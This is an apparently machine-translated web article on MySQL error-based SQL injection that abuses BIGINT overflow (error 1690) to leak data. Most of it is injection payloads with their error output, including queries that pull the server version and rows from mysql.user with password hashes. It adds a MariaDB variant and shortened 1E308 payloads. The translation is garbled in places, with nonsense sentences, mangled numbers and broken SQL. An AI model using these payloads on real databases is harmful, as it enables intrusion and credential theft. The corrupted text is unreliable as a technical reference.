New Mysql error injection _ MySQL

New Mysql error injection

The original text is in Russian and cannot be translated. the approximate content is attached:

This error injection is mainly based on Mysql data overflow.

1. Mysql> SELECT 18446744073709551610*2;
2. ERROR 1690 (22003): bigint unsigned value is out of range in '(18446744073709551610*2 )'
4. Mysql> SELECT-1*9223372036854775808;
5. ERROR 1690 (22003): bigint unsigned value is out of range in '(-(1) * 9223372036854775808 )'

1. Mysql> SELECT * 2 (if (SELECT * from (SELECT (version () s), 18446744073709551610,184 46721373709551610 ));
3. ERROR 1690 (22003): bigint unsigned value is out of range in '(2 * if (Select '000000' from Dual), 5.5 ))'

2. Mysql> SELECT 2 * if (SELECT * from (select * from test. shop) as ''limit 1)> (SELECT * from test. shop limit 1), 18446744073709551610,184 46721373709551610 );
4. ERROR 1690 (22003): bigint unsigned value is out of range in '(2 * if (select 'article', 'dealer ', 'price' from (select 'test '. 'shop '. 'article' AS 'article', 'test '. 'shop '. 'delimer' AS 'delimer', 'test '. 'shop '. 'price' AS 'price' from 'test '. 'shop ') limit 1)> (select 'test '. 'shop '. 'article', 'test '. 'shop '. 'delealer', 'test '. 'shop '. 'price' from 'test '. 'shop 'limit 1), 184467000073709551610,184467000073709551610 ))'
6. // When there are too many threads, there are too many threads, too many threads

1. Mysql> SELECT 2 * if (SELECT * from (select * from (mysql. user) LIMIT 1) as ''limit 1) <, 18446744073709551610,184 );
3. ERROR 1690 (22003): bigint unsigned value is out of range in '(2 * if (select 'localhost', 'root',' * ', 'y ', 'Y', 'y ', 'Y', 'y ', 'Y', 'y ','','', '','', '0', '0', '0', '0', '0', ''from dual limit 1) <(1, 2, 3, 4, 5, 6, )), 18446731673709551610,18446731673709551610 ))'

Note that this method is not applicable to the old version of Mysql. In addition, you need to know the length limit of the error message, because it determines how long the information can be obtained:

1. Mysys/my_error.c
3. /* Max length of a error message. shocould be kept in sync with MYSQL_ERRMSG_SIZE .*/
4. # Define ERRMSGSIZE (512)

If the object is MariaDB (a branch of Mysql), when you try the above method, you may see the following error message:

1. Mysql> SELECT 2 * (if (SELECT * from (SELECT (version () s), 18446744073709551610,184 46721373709551610 ))
2. ERROR 1690 (22003): bigint unsigned value is out of range in '(2 * if (select #), 184467000073709551610,184467000073709551610 ))'

As a solution, you can solve this problem in this way:

1. Mysql> SELECT (I is not null)--9223372036854775808 FROM (SELECT (version () I);
2. ERROR 1690 (22003): BIGINT value is out of range in '('5. 5-mariadb' is not null)--(9223372036854775808 ))'

Now let's see if we can make our Vector shorter.

// Query the database version

1. SELECT 2 * (if (SELECT * from (SELECT (version () s), 18446744073709551610,184 46721373709551610 ))
2. =
3. Select 1E308 * if (select * from (select version () x), 2, 2)

1. SELECT (I is not null)--9223372036854775808 FROM (SELECT (version () I)
2. =
3. Select if (x, 2, 2) * 1E308 from (select version () x) y

1. SELECT 2 * if (SELECT * from (select * from test. shop) as ''limit 1)> (SELECT * from test. shop limit 1), 18446744073709551610,184 46721373709551610)
2. =
3. Select 1E308 * if (select * from mysql. user) ''limit 1)> (select * from mysql. user limit 1), 2, 2)

1. SELECT 2 * if (SELECT * from (select * from (mysql. user) LIMIT 1) as ''limit 1) <(, 5, 18446744073709551610,184)
2. =
3. Select 1E308 * if (select * from mysql. user LIMIT 1) ''limit 1) <(select * from mysql. user limit 0), 2)

1. Select 1E308 * if (select user | host | password | file_priv from (select * from mysql. user LIMIT 1) a limit 1), 2, 2)

[1] [2] Next page